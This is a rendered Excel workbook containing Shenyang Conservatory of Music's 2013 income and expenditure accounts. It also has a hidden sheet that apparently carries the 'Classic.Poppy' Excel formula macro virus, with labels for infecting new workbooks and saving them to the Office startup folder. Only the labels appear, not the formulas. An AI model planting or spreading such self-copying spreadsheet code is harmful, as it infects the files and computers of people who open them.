{"text_format":"3","workbook":"xlsx","n_sheets":2,"sheets":["附件5-收支决算","00000ppy"],"not_rendered":{"external_links":31,"defined_names":169},"read":"whole","date_system":"1900"}

{"sheet":"附件5-收支决算","index":0,"n_rows":35,"n_cols":4,"rows_kept":35,"merged":[[0,0,0,3],[2,0,2,1],[2,2,2,3]]}
["高等学校收支决算总表"]
["单位：沈阳音乐学院","年度：2013年",null,"单位：万元"]
["收入","","支出",""]
["项目","决算数","项目(按功能分类)","决算数"]
["栏次","1","栏次","2"]
["一、财政拨款",{"v":22534.6,"d":"22,534.60"},"一、一般公共服务",""]
["　　其中：政府性基金","","二、外交",""]
["二、上级补助收入","","三、国防",""]
["三、事业收入",{"v":19836.2,"d":"19,836.20"},"四、公共安全",""]
["四、经营收入","","五、教育",{"v":30914.8,"d":"30,914.80"}]
["五、附属单位缴款","","六、科学技术",""]
["六、其他收入",{"v":966.8,"d":"966.80"},"七、文化体育与传媒",""]
["    其中：捐赠收入","","八、社会保障和就业",{"v":2330.1,"d":"2,330.10"}]
[null,"","九、医疗卫生",{"v":984.7,"d":"984.70"}]
[null,"","十、节能环保",""]
["","","十一、城乡社区事务",""]
["","","十二、农林水事务",""]
["","","十三、交通运输",""]
["","","十四、资源勘探电力信息等事务",""]
["","","十五、商业服务业等事务",""]
["","","十六、金融监管等事务支出",""]
["","","十七、地震灾后恢复重建支出",""]
["","","十八、国土资源气象等事务",""]
["","","十九、住房保障支出",{"v":780,"d":"780.00"}]
["","","二十、粮油物资管理事务",""]
["","","二十一、储备事务支出",""]
["","","二十二、国债还本付息支出",""]
["","","二十三、其他支出",""]
["本年收入合计",{"$f":"SUM(B6:B12)","v":{"v":43337.600000000006,"d":"43,337.60"}},"本年支出合计",{"$f":"SUM(D10:D28)","v":{"v":35009.6,"d":"35,009.60"}}]
["    用事业基金弥补收支差额","","    结余分配",{"$f":"B34-D29-D31","v":{"v":8541.700000000008,"d":"8,541.70"}}]
["    上年结转和结余",{"v":1779.9,"d":"1,779.90"},"    年末结转和结余",{"v":1566.2,"d":"1,566.20"}]
["","","",""]
["","","",""]
["合计",{"$f":"B29+B31","v":{"v":45117.50000000001,"d":"45,117.50"}},"合计",{"$f":"SUM(D29:D31)","v":{"v":45117.5,"d":"45,117.50"}}]
[null,""]

{"sheet":"00000ppy","index":1,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true}
["2012-2-10：高校财务信息公开附件1-6.XLS"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\Office10\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]